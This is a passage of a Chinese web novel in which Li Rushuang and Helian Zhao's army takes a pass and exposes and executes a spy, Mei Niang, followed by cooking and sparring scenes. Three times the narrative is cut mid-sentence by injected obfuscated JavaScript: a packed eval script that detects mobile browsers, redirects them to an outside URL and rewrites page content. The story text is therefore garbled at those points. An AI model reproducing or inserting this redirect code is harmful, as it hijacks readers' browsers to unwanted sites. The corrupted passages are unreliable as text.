莫从南痛心疾首,为他侄子的脆弱哀怨,把赫连昭拖回了帐子中。 角声徜徉踏蹄起,风瑟瑟兮卷军旗。王室军旗红黑两面,红面为龙黑面为狼,是为龙狼图旗。一眼看不到头的大军,一路行到棱赤山脚下。 “诶,侄子,你听没听到地在震啊?”莫从南感觉屁股都被震得发颤,不只是他,其余人都感受到了,似乎有千军万马从四面八方赶来。 刘惕守迅速指挥军队摆出铁甲六戍阵,以对抗即将要来的攻击,他心中暗骂了一句:这个小姑娘果真不知轻重,还让我按计划出军,这次整不好要全军折在这。 只听远方摇鼓呐喊,士气勇猛,他们光听声音就可知那气势有多强悍,赫连昭不敢相信,李如霜竟然失策了。 敌军逼近,漫山遍野黑云一般压向他们,赫连昭燃起体内真气,运转毒血,莫从南则按住了袖中的毒药,刘惕守双手紧紧握住长刀,三人背靠在一起,赫连昭目眦欲裂,已经有了赴死的准备,其他二人何尝不是。 即便刘惕守留了三分之一的兵力在不远处,如若他们遭遇埋伏,就从后突围,防止被瓮中捉鳖。可山峰之上都是敌军,弓箭手早已搭好了箭,还有长矛,随时准备刺穿他们的喉咙,步兵包围了他们,后备军想要突围也不是一件易事。 刘惕守提前派人勘察过,这棱赤山根本没有被敌军占领,而且周围百里一直有他们的眼线,怎地这么多大军来袭,他一点消息都没收到。 这已经是必输的局面,他们都有了赴死的准备,赫连昭此时甚是热血澎湃。他还没上过战场,若是在此身陨,也算为赫连王室肝脑涂地,不白死。 就在他们一个个都想着捐躯时,忽听空中拨弦一声,随后噼里啪啦轮起来,真所谓是“大珠小珠落玉盘”。 只见一人白衣胜雪,从天而降,十指不停,弹奏之曲悦耳宛若神乐。 那人单脚立于龙狼图旗之上,衣袂飘举,面戴金丝镶边凤羽面具,即便看不见他的面容,也可见清冷之姿。 “仙人啊!”赫连昭张大嘴感叹,他失忆之后与琵衔并未见面,所以不认识这“仙人”。 刚开始的拨弦声已经将山上弓箭和矛震离了手,接下来琵衔进入正曲,这支仙人列阵歌是他新编出来的,正好今日就试试它的威力。 那仙乐如泣如诉,敌军闻之皆陷入到那乐曲之中,竟像忘了自己要做什么一般,眼神迷离放下武器,跪下望着军旗上的人,似是在朝拜。 “还愣着干什么,快冲啊!”赫连昭怒吼一声,刘惕守和莫从南以及其他王室兵才醒悟过来,立即擒了敌方军队的首领,俘虏全部士兵,并在棱赤峰上安营扎寨,排布哨兵,迅速占领了棱赤山这个虎门关,不费一兵一卒。 自那之后,琵衔行走于赫连王室军中,引得旁人频频侧目,他那一曲诡谲之乐,令当时在场所有人折服。再加上他戴着面具也不说话,极其神秘,被营中士兵视作神人。 这次大军出兵之时,梅娘被堵在了帐门口,她看着面前两个膀大腰圆带刀士兵,神情胆怯却有些不服道:“为什么不让我出去!” 两位将士面无表情,只说按上级命令办事。 此时李如霜偷偷带了一支军队,一路隐秘前行,来到了敌方储存粮草的地方。他们躲在一座仓库的后面,李如霜看着里面约有几十座这样的粮仓,惋惜地对身后的将士道:“你说咱们能运多少回去,都烧了真可惜了。” 身后的将领看着她脸上恐怖的面具,默默擦了一把汗道:“副将,您别开玩笑了。” 李如霜讪笑:“我就说说而已。”和莫从南在一起待久了,这幽默的性格也沾染一些。 她收敛笑容,整肃起来,看到前面守卫兵有些松懈,李如霜手往前一挥,后面的将士立即窜出,悄无声息地抹了对方的脖子。 他们几人手脚利索,将携带的油围着每个粮仓倒了一圈,顺便仓库的墙上也泼了一些,他们倒完油后撤出,仓储之地仍一片祥和。 李如霜掏出火折子吹了一下生起火,蹲下将地上的油点燃,霎时一条火龙游走于各个粮仓之间,叫喊跑动之声逐渐响起,李如霜带着队伍功成身退。 那油是赫连王室军用鹅油熬制而成,用水扑不灭。 此战大捷,军队迁移到棱赤山上,正忙着杀猪宰羊庆祝首胜,而梅娘却被关进了一个黑暗的小屋中,饿了一天。 她扒着门缝看着外面,突然吱呀一声,门被打开露出一张青面獠牙面具,把她吓得坐在地上,后退到墙边。 李如霜摘下面具露出那清冷的脸,梅娘却觉得那张美丽的脸比面具还要可怕。 她身后的人提着灯,赫连昭、刘惕守、琵衔和莫从南都进了这间小屋子,五人将梅娘围在中间,屋内顿时十分拥挤。 李如霜到处寻找着,终于找到个椅子坐下来,“来吧,大家要问的赶紧问。” 赫连昭思忖着还是有点不敢相信,他把梅娘扶起来道:“梅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13632998|143643||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 娘,你真的给敌方透露我军的的消息了吗?” 梅娘含泪摇头,一脸无辜,赫连昭心想不会冤枉了好人吧。 “吞吞吐吐的,梅娘我来问你。”李如霜冷哼一声,“在雪域中,你和赫连昭走后,我、琵衔和舅舅只停留了一个时辰的时间就上路了,而中途赫连昭回去找我,你们孤儿寡女如何能赶在我们之前到?这是其一。 你跟着琵衔和莫从南一起来的九原,刘将军身边一直都是你在服侍,那天我们计划占领棱赤山时,你也在刘将军身边,这次计划只有我们六个人知道,如果不是你泄露出去,那你指出是我们五个谁通敌了。” 梅娘听着她的一席话,只是流着泪摇头,半天说不出一个字来。 刘惕守心口像堵了一团棉花,他没想到自己枕榻旁边的美人,居然是敌方的细作,他一把揪住梅娘的头发扇了她一巴掌,梅娘脸偏向一边,嘴角渗出血。 李如霜被这场面吓了一跳,不自觉地蹙了一下眉。 “你这个婊子,亏我还给你弄了个单独的住所,在你褥子底下,鞋中,居然还藏着十多个玉镯子,十两金子,就为了这么点钱通敌叛国,你可真是眼皮子浅!”刘惕守还踢了她几脚泄愤。 他抽出刀横在梅娘的脖子上,威胁道:“你还做了什么事,都吐出来,还能饶你不死。” 梅娘本就怕刘惕守,如今钢刀架于脖颈加上刘惕守凶神恶煞的神情,借她一百个胆子也不敢不吐。她控制不住地发抖,颤颤巍巍地说:“前两次行军...是...是我泄的秘。” 钢刀又近了几寸,她眼光一直盯着那刀刃,“他们还让...让我给那个酒里面下药......” “但是琵衔一直都守在那里,你没有成功。”李如霜替她说了下半句。 莫从南闻之有些惊喜,用胳膊肘搥了一下琵衔道:“行啊,你是不是早就发现她是奸细,所以去保护我的烈焰风的。” 琵衔躲过他的肢体接触,他只是想要烈焰风的药方而已,歪打正着阻止了这女人。 “还有吗!”刘惕守大喝一声,刀刃已经割破梅娘的皮肤,流下一行血。梅娘腿软得不行,一下子瘫坐于地,痛哭流涕道:“没有了,没有了!” 刘惕守握着刀,就要杀了梅娘,李如霜看穿了他的意图,立即用扶蛇把刀抽到一边道:“刘将军别着急,我还有事想问她。” 李如霜起来蹲在梅娘身边,跟她面对面,“梅娘,你为什么要这样做?我猜你在去西漠之前,还没和敌方有联系。” 梅娘怔了怔,止住哭泣,她双眼已经失了神,仿佛在回忆什么,末了又痛彻心扉地说道:“他们拿我和女儿的命做威胁,我不得不听他们的啊!” “他们还给我很多钱,我这辈子都没见过那么多钱,拿到钱后我就买了很多镯子,每天都能换着样戴。”梅娘吞下泪水,看向李如霜,“没有那么多钱,我还体会不到这种感觉,想买什么直接就买哈哈哈哈哈!” 她说着说着竟有些癫狂,哈哈大笑起来。刘惕守啐了一口,骂了一句“疯子”。 12. 酸汤小饺子 听着梅娘疯癫的笑,大家都有些沉默,良久,李如霜才找回自己的声音道:“你还有什么要交代的吗?” 梅娘笑声戛然而止,她自嘲道:“我还有什么牵挂的,不就剩个女儿。”她忽地死死抓住李如霜的手,李如霜一时挣脱不开,梅娘眼中流露出一丝真情道:“帮我照顾好女儿,不要让她沦落到我这样的下场。” 李如霜与她对视着,终究还是答应了她。 他们一行人走出屋子,两个士兵重新锁住门严防死守。李如霜心情颇为复杂,通敌叛国是死罪,而且差点让军队损失惨重,梅娘不仅要死,还要当着众将士的面诛杀,以儆效尤。 “哥哥,阿娘去哪里了?”小女孩待在帐子中听着外面人声鼎沸,似乎发生了什么大事。 赫连昭用竹蜻蜓逗她玩,对着女孩纯真的脸庞,他说:“你阿娘去京城了。” 小女孩捡起赫连昭转起来扔到地上的竹蜻蜓,使劲搓了一下,飞到了帐顶,她的注意力全放在竹蜻蜓上,没有听到赫连昭说什么,女孩高兴地拉着赫连昭的袖子喊道:“你看,我的蜻蜓比你飞得高。” 一个帘子隔绝了截然不同的两个世界,里面是无忧无虑的乌有之乡,外面却是充满残酷杀戮的血池地狱。 此时外面,梅娘跪着被绑在一个柱子上,头发黏腻地粘在脸上,脸色憔悴。她面前的众将士眼中充满仇恨,似是要把她生吞活剥了不可。 他们同吃同住许多年的好兄弟、好战友,本不应该死,就因为她的泄密导致很多人无辜惨死。在这些战士心中,梅娘就应该被千刀万剐,死不足惜。 李如霜站在梅娘身边,听着不堪入耳的辱骂,即便不是在骂自己,她也感觉言语锋利得像刀子一样,割得她耳朵疼。 她看向梅娘的头顶,梅娘的头深深地低着,发丝凌乱地垂在旁边,脖颈细得感觉轻轻一掐就会断掉。 “近日,我赫连王室军中,发现了一名敌方的细作,我军两次败绩都拜她所赐!我作为将军十分愤怒!”刘惕守音洪如钟,在场所有士兵皆应着他的话喊起来。 “杀了她!” “杀了她!” 一时声浪不绝,李如霜扶蛇抽地,巨大的声响劈断了声浪,她吼道:“静!”瞬间所有人都安静下来,场面一片死寂。 李如霜扫视着眼前的将士们,不怒自威,“来往敌我之间,通过我军的机密换取钱财,此乃见钱眼开、贪生怕死之徒,我等决不能饶恕!” “鞭打三十后斩杀,以儆效尤!”李如霜举着鞭子高声喝道。 随即一个将士拿着荆棘条站在梅娘面前,李如霜眼皮颤着,又抽了一鞭子道:“行刑!” 将士得了令,布满尖刺的荆棘条狠狠地抽在梅娘身上,惨叫声响彻云霄。李如霜眼神中闪过一丝不忍,那将士泄恨一般下手极重,士兵们目不转睛地看着行刑过程,拍手称好。 三十鞭之后梅娘已经奄奄一息,那将士还要再抽,扶蛇直接卷了他手中的荆棘扔到地上。 刘惕守拔出刀,挡住了梅娘头顶的日光,旁人将她固定住。发丝乱作一团糊在脸上,梅娘已经没有力气睁开眼,她的手掌因为身上的疼痛,被自己指甲掐得血肉模糊。 手起刀落人头抢地,李如霜没有闭眼,而是死死地看着地上身首异处的梅娘。她有点可怜梅娘,但这确确实实是她应得的下场。 梅娘的脖子处还渗着血,士兵们上前团团围住,纷纷拿刀刺进梅娘的身体,刮花她的脸。 李如霜一时没看住,就被人推搡到圈外,她震怒,一鞭子将前排的士兵都扫退,剩下的士兵有些畏惧她,也不敢做什么。 只见梅娘的尸首被刺得破破烂烂,李如霜喝道:“有没有纪律!都散了,回去之后好好想想,再有通敌卖国者,仔细着你们脖子上的脑袋!” 清场后,她吩咐下属清理地面,将尸首随便找个地方埋了。 李如霜未换衣服走进了营帐,小女孩蹦着跑过来问:“姐姐,刚才我听到你的声音了,姐姐又在训他们了。” 小女孩突然鼻子一皱,围着李如霜闻了闻道:“姐姐,你身上怎么有这么大的铁粉味。” 李如霜脸上一僵,早知她就把身上的血腥味去除后再来,关键她不放心梅娘这个孩子,万一被她看到了什么不该看的,留下阴影就不好了。 赫连昭拿着个瓦狗走过来问:“完事了?” 李如霜点点头,女孩听了这话,便跑出去想要看看什么事,谁知外面什么都没有,只地上有些还未处理的血。 她又跑回来,扯着李如霜的下襟,带着稚气问:“到底什么事情啊,我什么都没看到呀。” 李如霜低头看着这个小女孩,她只听梅娘说这孩子十一了,还不知道叫什么名字。 她蹲下尽力让自己表现得亲切问道:“孩子,你叫什么呀?” “我娘叫我囡囡。”女孩冲她明媚地笑了。 囡囡,还是个小名,李如霜摸着她的眉眼,遗传了梅娘的,是个美人胚子。“以后你就叫梅曦,以后的日子都像初升的太阳一样。” 梅曦得了名字,很是欣喜,大拇指揉着李如霜的眉间道:“姐姐,你别皱眉,都有印了。” 李如霜舒展一下眉头,强挤出五分微笑,让赫连昭把梅曦看好不要乱走,如果那些士兵迁怒于梅曦,保不准会出什么龌龊事,大人怎样孩子终究是无辜的。 月明星稀,李如霜端了一盘瓜果来到琵衔账内,琵衔见是她便知又有麻烦事了。 “我有事求你,就不绕弯子了。”她开门见山道。 琵衔做了个请的手势,示意她说来听听。李如霜低头笑了笑说:“梅娘有个女儿叫梅曦,她不适合在军中,让她跟着你回音吕阁吧。” 她见琵衔默不作声,忙道:“这次算我欠你个人情。” “你欠我的人情挺多的。”夜莺叫道,“我帮你这次,能拿到什么好处。” 李如霜来之前真没想这个问题,关键她还真不知道琵衔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13632999|143643||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 缺什么,愣了半晌才开口:“你提吧,只要我能办到都满足你。” 琵衔嘴角勾起,似乎早有所想,夜莺的口吻变得漫不经心起来:“你家有棵老檀木我眼馋好久了......这木头做成熏香,大师傅肯定喜欢。” “你怎么知道我家有一棵檀木!”李如霜有些吃惊,那棵檀木是御赐老山檀木,年头一百年以上极其稀有珍贵,她咬咬牙肉疼了一下,回道:“可以!” “那就这么定了。”琵衔满意地靠在榻上,这几日大家都以为他是了不得的人物,好吃好喝地供着,过得极其滋润。 李如霜觉出不对味,忙问:“我可回不去,而且不能暴露我的身份,你怎么得到那檀木。” 琵衔闭上眼,“我想要的东西没有拿不到的。”李如霜一想也是,琵衔神通广大,还有更诡异的伎俩没展现出来,他都这么说了那定是有十足的把握。 她终于放心了,回到自己的帐子内躺着,今天事情太多,几乎没坐下来过,现在躺在床上伸了个懒腰,顿觉得浑身舒爽。 这一夜,李如霜睡得不安稳,梦里到处都是尸山血海,胸口像压了一块大石头,她挣扎了好几次都没醒,突然梅娘流着鲜血的脸贴在她面前,李如霜立马吓得坐起来。 “呼~”她拍着胸脯心有余悸,得亏把梅曦的后路都安排好了,要不然她更不安生。 帐帘露出缝隙,外面的光照得李如霜眯起眼,忽然她闻到一股清香混着肉香,转头一看,床头的小方桌上摆着一个大碗,她穿上鞋凑近一看,是一碗酸汤小饺子。 “好香啊!”上面还撒了她喜欢的胡荽,闻起来清新咸香,小饺子肚腩透着肉馅,李如霜肚子不争气地响了起来。 这赫连昭不是正和她闹别扭,怎么还把早饭送来了。她用勺子搅动着饺汤,暗自思忖着,赫连昭心中的女人到底是谁,梅娘应该不可能...... 直到吃完最后一个饺子,李如霜也没想明白,她走出营帐巡视一下军营的情况,走着走着迎面就撞上了赫连昭。 她突然觉得虽然昨日他们见过,但这张脸却变得陌生了,站在他面前竟有些尴尬。 “谢谢你的饺子。”想起早上那碗可口的饺子,李如霜语气放软。 赫连昭低头看着李如霜脸上透露着难为情,顿时心中一酸,他真是个混蛋。他们之间,错的从来都只有他,是他爱上了兄弟的女人。 以往开朗的神情带上了一丝愁容,“好吃吗?” 李如霜点点头道:“嗯,不错。”赫连昭换了身玄色的长袍,身上有一股淡淡的艾香,她有些担心地问:“你哪里不舒服吗,怎么在熏艾?” 赫连昭摇头,只说自己有些小毛病不碍事,之后又干巴巴地聊了两句就走了。 李如霜站在原地,看着赫连昭笔挺如松的背影,她不知道什么原因,让他们如此生疏。刚刚无比熟悉的温度悄然远去,她想要拼命去抓,却徒劳无功,只能眼睁睁地看着感情一日一日变得稀疏淡薄。 13. 红烧“碳” 李如霜盯着这口大铁锅许久了,还是无法下手。她心想,既然赫连昭喜欢琢磨这些美食,那她也做一个让他品尝一番,不管做得是好是坏,总是能找个借口与他说会话,他们的关系也就不会这样僵了。 案板上放着一条肥瘦相间带皮的五花肉,是刚刚军中厨子帮她切好的。李如霜进来说自己想要做个菜,把那几个厨子吓得大惊失色,在旁边一直盯着她。 她觉着心烦把他们的都赶走了,可自己从小到大十指不沾阳春水,真不知道从哪一步开始。以前行军时烧个野鸡野鸭什么的倒是轻车熟路,拔毛、生火、撒料一气呵成,就是味道一言难尽。 终于李如霜觉得自己必须得开始做点什么,她拿起菜刀嘭地剁了一块肉下来,不大不小的方块,紧接着她又把剩下的肉都切成这样的大小。 习武之人最明白毫厘之差谬之千里的道理,小时候伯伯教她和兄长练武时,一丝一毫都要计算清楚,此时案板上的肉每一块都一模一样,打眼看上去几乎无差别。 李如霜暗自得意,她的刀工挺不错的。 这道红烧肉是她最爱吃的肉菜,将军府的厨子做得肥而不腻,甜咸香糯,想到那味道,李如霜口中生津,差点流出哈喇子。 红烧肉上应该淋了什么酱汁让肉看起来有些发红,想到这她翻箱倒柜地找起来,拿出油盐酱醋挨个闻了闻,最后锁定了一个褐色的酱,只有这个酱的颜色比较接近。 她倒一勺油,生了火,再把肉放进锅,随即挖了一大勺酱,和一点盐,加入一瓢水盖上锅。应该是这样做的,李如霜美滋滋地在旁边翻着调料,打开一个瓶子闻了闻,这个味道也好闻,她打开盖子,又把这瓶子里的东西倒进去了。 李如霜一直熬到汤都没了,才盛出来,但这一盘黑得像碳一般的肉,似乎与以前吃的不太像。 她夹了一块放到嘴里,嚼起来,“唔!”李如霜的脸皱成一团,把嘴里的肉吐出来。 “呸呸呸!太咸了。”这肯定不能吃,李如霜心疼地把这盘肉扔掉。以前总嘲笑陈无阙做菜像熬中药,但她真正上手的时候却发现这么难。 她把厨子叫了进来,询问了一下,这赫连的厨子也不知道她要做的是什么菜,只说自己没吃过。李如霜在他的指点下,稍微调整了些,这回成品总算能够入口。 她端着肉和饭去找赫连昭,一路上想着他吃完后,是什么样的表情,肯定瞪着眼睛说她要谋害自己。 掀了帘进去,里面静悄悄的没有人,李如霜便坐在桌子旁边等,就在她打着瞌睡的时候,赫连昭终于回来了。 他看见李如霜在他帐中,眼睛亮了亮,随后又暗淡下去。赫连昭狐疑地看着桌上那盘,像碳又不是碳的东西,心想这女人拿了什么给他。 李如霜听到掀开帘子的声音,忽地没了睡意,她拉着赫连昭到桌边坐下道:“我做了道菜,你尝尝。” 她把筷子放入赫连昭手中,赫连昭不敢相信这是一道菜,用筷子碰了碰,那东西真是软的,他才辨认出应当是块肉。 赫连昭尝了一口便吐出来道:“太苦了。” 李如霜她提起一口气道:“苦吗?应该是酱放太多了。你教我怎么做菜呗,小女子一定认真学。” 她边说边打量着赫连昭的神色,只见他面无表情,也毫无调侃开玩笑的意思。李如霜感觉自己心下一空,不停地往下坠。 赫连昭没理她,反问道:“你还有事吗,若只是让我评价一下这道菜,那这肉做得很难吃,不堪入口,你是军中将领,以后不必做这些。”他看着李如霜愈渐泛红的眼圈,眼睛涩了涩,顿觉十分揪心,桌下方的手不自觉地攥紧,指甲掐进肉里。 他咬着下齿边上的肉,站起来背过身去,“我暂时还没有教别人做菜的兴致,副将请回吧。” “副将?”李如霜踉跄地后退一步,她不信赫连昭这么聪明,不知道她低声下气地来找他是为了什么。此时此刻,这等陌生的称呼将他们的距离拉远至天涯海角,她红着眼睛问:“那日我问你是否知道我的名字,你有答案了吗?” 赫连昭克制着不去眨眼,捂着胸口,仰头道:“南州国公主名叫萧婉柔。”明明他们才认识没多久,想与她撇清关系怎就如此痛苦,宛若摘胆剜心。 萧婉柔,李如霜嘴中念叨好几遍,“好好好,这次你可记清楚了!那我们现在是什么关系?” 赫连昭转过身来,发现她眼角含泪,已经成了一枝带雨的梨花,仍硬着心肠说:“不过是嫂子和小叔子的关系。” 李如霜抹掉眼泪,不想在他面前大哭,“既然我是你嫂子,你为何做那些吃的,还亲自送过来。你根本不需要亲自下厨,只要坐在那,自然会有人奉上。觉得军中菜不符合口味,也会有专人找来山下的大厨为你开小灶。你说啊!为什么!” 赫连昭语塞,半晌才给出回应:“我习惯自己做饭的口味,况且不止你一人的份,其他将军都有。” 李如霜被气笑了,她不敢贸然讲出过往,怕引起他的头疾。 “好,赫连昭,你最好是这么想的。”她热脸贴了冷屁股,没讨到一个笑脸,自己倒落得泪眼八叉的,她吸了吸鼻子拂袖而去。 赫连昭失神地坐在椅子上,他们之间的身份注定了无法在一起,而他也只能默默在背后守护着。 李如霜走后不久,莫从南来向赫连昭道别,一进来就看见这张苦瓜脸,他瞅了瞅桌上的不明物,不知道发生了什么。 “呦,好侄子,咋的了?小脸都拉拉到地上了。”盘子中的肉已经凉透,恰如赫连昭与李如霜的感情,已经降至冰点。 莫从南拿起一块仔细看了看问:“这是你闲着没事烧的碳吗?我记得营中有碳啊,而且你这五毒体不用防寒。” 赫连昭本就心烦意乱,舅舅还在一旁调侃他,他抬起胳膊拄在桌子上,把莫从南挡住。 谁料莫从南的脸突然从桌子底下冒出来,看着他说:“诶,你怎么哭了。” 赫连昭眼圈通红正伤怀着,被舅舅这么一逗脸上一时又哭又笑,他掐了掐眉心道:“舅舅,你找我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13633000|143643||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?” “嗯,你受情伤啦。”莫从南一猜就准,看他沉默着估摸是了,“你个大丈夫和人家闹别扭了,先低头哄哄嘛,又不掉两块肉。” 赫连昭趴在桌子上长叹一声,他与李如霜不是吵架那么简单。 莫从南见他也不出声,也叹了口气道:“舅舅管不着你们这辈的事,我要走了。” 赫连昭闻言看向他,“这么快就要走,你去哪?” 只见莫从南神秘一笑,“我也不知道去哪,随便走走。”他已经习惯了四海为家,动身不问去向,随处肆意漂泊。 莫从南从怀里取出一个小瓷瓶放在桌上,“这是最近炼出的护体丹,如果再控制不住体内的毒,你吃一粒便稳固了。”他搞不清楚五毒体传了几百年,从没听过有人控制不住体内的毒。无论生来自带还是后天吸收的毒,在他们体内就如同手长在身上,运用自如才对。 而这瓶护体丹,是临走前他唯一能帮上忙的。 自那日从赫连昭帐里流着泪出来,李如霜无时无刻不在找人打架。不用扶蛇,也不使内力,只赤手空拳或是运用长短近身兵器,军中武功不弱的士兵她试了个遍,皆无敌手。 此时,她正和一个年轻将领对打,刚开始还有来有回,只是几招下来,李如霜看穿了他的路数,随后一个挑扫将其撂倒在地。 她擦着脸上的汗道:“承让!”随后拿起水壶喝起来,看到刘惕守一直在旁边观战,李如霜主动邀约:“刘老将军,您敢不敢与我过几招?” 刘惕守刚刚在一旁看的时候,就已经热血沸腾、兴致勃勃,经李如霜这么一激更是浑身发痒,豪迈地回道:“好!” 他挑了一杆枪,走到中间,那些士兵们见刘将军上了,立马呼唤着围了一圈。 李如霜摇摇头看着他道:“比枪啊,恕我直言刘将军,别的都好说,我可能比不过你,但耍枪我只怕过一个人。” 她掂量着手中的枪,比兄长的断月枪轻多了,李如霜单手执枪背于身后,走到刘惕守面前。 刘惕守拿着枪冲锋陷阵几十年了,他用枪也有几十年,现在这个毛都没长齐的小丫头片子居然说他的枪比不过她,真是可笑。 “年纪轻轻,口气不小,比不比得过的,过两招再说!”刘惕守转着枪上前,右脚顶住挥手一刺,被李如霜轻而易举地挑开。 随后无论是挑还是勾或是扎,都被李如霜一一击退,刘惕守走的每一步似乎都让她给预料到。 “太慢了。”李如霜抵挡之余,还有功夫跟他说话,刘惕守停止进攻问:“什么?” 李如霜立枪于地,眼神坚定地回他道:“我说,刘将军你的动作太慢了。” 她与哥哥一起练枪,论枪法而言,她与哥哥不相上下,只是李如霜觉得此武器练习过程太过于枯燥,便转而练鞭。上战场时,她虽然带着扶蛇但依旧拿着枪,这枪没有手鞭练得多,也一直不曾疏于练习。 而哥哥常年手不离枪,闻鸡起舞,日日不曾落下,所以她的枪法只输给过兄长一人。 14. 回雷鞭 “刘将军,接下来我可不会让着你了。”李如霜用只有他俩能听到的声量说道。 刘惕守被她震惊得直咳嗽,敢情前面几招,小丫头只攻不守是在让着他,刘惕守此时脑门汗液直流。刚刚过那几招,他自问完全没有破绽,一般人早就败于他的枪下,而李如霜却轻而易举地看穿了他走的每一步,精准地回挡了每一枪,如振落叶。 刚上场时他对李如霜大放厥词感到不屑一顾,但现在他可太相信了,小女娃没有瞎说,她是真有这个实力。 李如霜深吸一口气,提着枪掠上去,刘惕守看不清她的枪头在哪里,她舞着枪花过来,快到重影,枪的影子如同狂风骤雨,他不知从何处突破。 这一招叫做梨花落,李如霜自创的招式,以快破万招,几秒之内舞出上百种招式,让对方无从下手。 刘将军还是有点骨气提起枪去挡了,没有现场就认输,只是他的枪偏了位置,这一局仍是李如霜胜。只这一招,便让刘惕守毫无招架之力,最终被李如霜的枪头指着。 刘惕守握着手中的枪,保持着那个防守的姿势好半天,周围人都走得差不多了,他突然醒神,决定去找李如霜。 “嘿嘿小副将。”他搓着手,“你的枪法师从何派啊?”刘惕守虽然没办法破解她的招式,但他也知道,能有如此枪法的只有江湖的高人。 李如霜自然是不能把伯伯的名号透露出来,便说道:“我师父是林中高人,隐居很久了,我不便告知。” 刘惕守有点失望,他草根出身,这一生大部分时间都在军队,这枪术也是常年打仗积累的经验,比不得自小跟着高人系统练成的世家子弟。但刚刚那枪法绚烂,瞬间激起他心中已经麻木的热血,真是让他艳羡至极。 李如霜不知他一声不出在想什么,披了大氅对他道:“刘将军,召集营中的几个将军到中军帐,马上要攻城了,听听各位将军有什么想法。” 说完她便出来了,中军帐是赫连昭所在的地方,往常他们商议军机要事时,赫连昭听了一会儿便走了,这回他却一直待在营帐内,李如霜顿觉浑身不自在。 只见赫连昭一眼神都不分给她,只专心听着他们商量,李如霜压住心中的涩意。只恨自己不能像他一样,可以当做什么事情都没有发生,她的视线总是不自觉地移到赫连昭身上。 “达鲁古东面和南面的城池我们这半个月都拿下了,这次将其包围,断绝水粮,迟早把他们拖死。”一位将军说出自己的想法,几人你一言我一语,就是不见李如霜出声。 “小副将,小副将!”李如霜看着地面正在愣神,被他们叫醒,抬起头发现大家都在盯着自己。她眨了几下眼睛,道句抱歉,“说到哪了......” 这下她抛开杂念,聚精会神地分析着利弊,最终将围城之计定了下来。李如霜提出要先带几个人潜入达鲁古城,营中之事全听刘惕守的安排按计划行事。 李如霜打了几天架,把营中将士的武力都摸得门清。她点了二十个身强体壮、武力高强的步兵,骑着马疾行两日至达鲁古城墙下。此时已经是深夜,城门紧闭,他们动作很轻,然而还是被守城的士兵发现了。 她暗道不好,踩着墙身三步上了城墙顶,那城门守卫还未发出声音,就被李如霜锁了喉砍晕。她迅速点了这守卫的穴道,保证让他睡上一天,另一个守卫也被解决了。 他们一直等到交班的士兵来,把这些守卫都一起处理干净后,才进了城。 李如霜来之前将这十个步兵分成两两一组,分别去了达鲁古西南的营寨、城中米仓、城东几个富商家盯梢,而她则带着两个兵直接来到了城北城主府。 他们一路紧赶,趴在城主府屋檐之上,府中丫鬟、仆人守夜,还有守卫在府中巡逻。直到第二日太阳升起时,李如霜才发觉不对劲。 葛连虎妻子美妾六人,儿女有九人,可她观察了半天,也没见有美妇孩童在府中行走。这奸贼葛连虎指定携家眷潜逃了,只是假装府内还有人的样子。 东面和南面都有王室军队驻守,西面不远处就是疆土临界,藩贼葛连虎只能往北逃到自己的势力范围中。 李如霜即刻行动,带上一个步兵往北追,留下一个继续在府中盯着。兴许是葛连虎没有离开多久,也可能是他携家带口走得比较缓慢,李如霜没过多久就看到了车队的影子。 她轻功一跃,像片羽毛一样落在最后面的马车顶上,轻手轻脚翻进马车内,里面三个金钗玉镯的美人吓得花容失色,李如霜立即点了她们的穴,三人晕了过去。 一共六个马车,李如霜从后到前,进入倒数第三个马车内,只见一男一女。 从王室军营寨出来之前,她看过葛连虎的画像,这男的应当就是葛连虎,她立即将两人打晕。跟着她的士兵则检查了其他的三个车,皆无男性,只有驾车的马夫为男。 他们将整个队伍截了下来,牵着两匹马,掳了葛连虎回去。 另一边棱赤山上王室军营中,刘惕守自李如霜离开棱赤山时,就命人往达鲁古周边的自家营寨送去急令,命其立即将达鲁古围得水泄不通,任何人不得出入城门。 此时赫连昭一马当先,率领大军出山,与四方军队会合,一直到城门口。距离断达鲁古水粮之日已经过去七天,城府并没有下令开仓救济,令城里的老百姓苦不堪言。 城门打开,达鲁古守城军涌出,但这些士兵似乎斗志不高,根本抵挡不住精神抖擞的王室军。赫连昭有些奇怪,他对刘惕守道:“刘将军,我进城去瞧一瞧!” 随即,夹紧了马肚子,一路挑飞了敌方军队的士兵进入了城池。 李如霜正快马加鞭地驮着昏过去的葛连虎往回赶,忽然乌云滚滚,电闪雷鸣,天地间瞬时昏暗下来。 一道闪电直直朝着她头顶劈过来,李如霜耳朵一动,勒紧缰绳使劲一拽,偏离了闪电降落的位置,地上瞬间被烧得焦黑。 这个场景她曾经见过,李如霜停住凝神静气敞开五识,果然远处有什么东西以超越闪电的速度向他们这里袭来,势不可遏。 只见 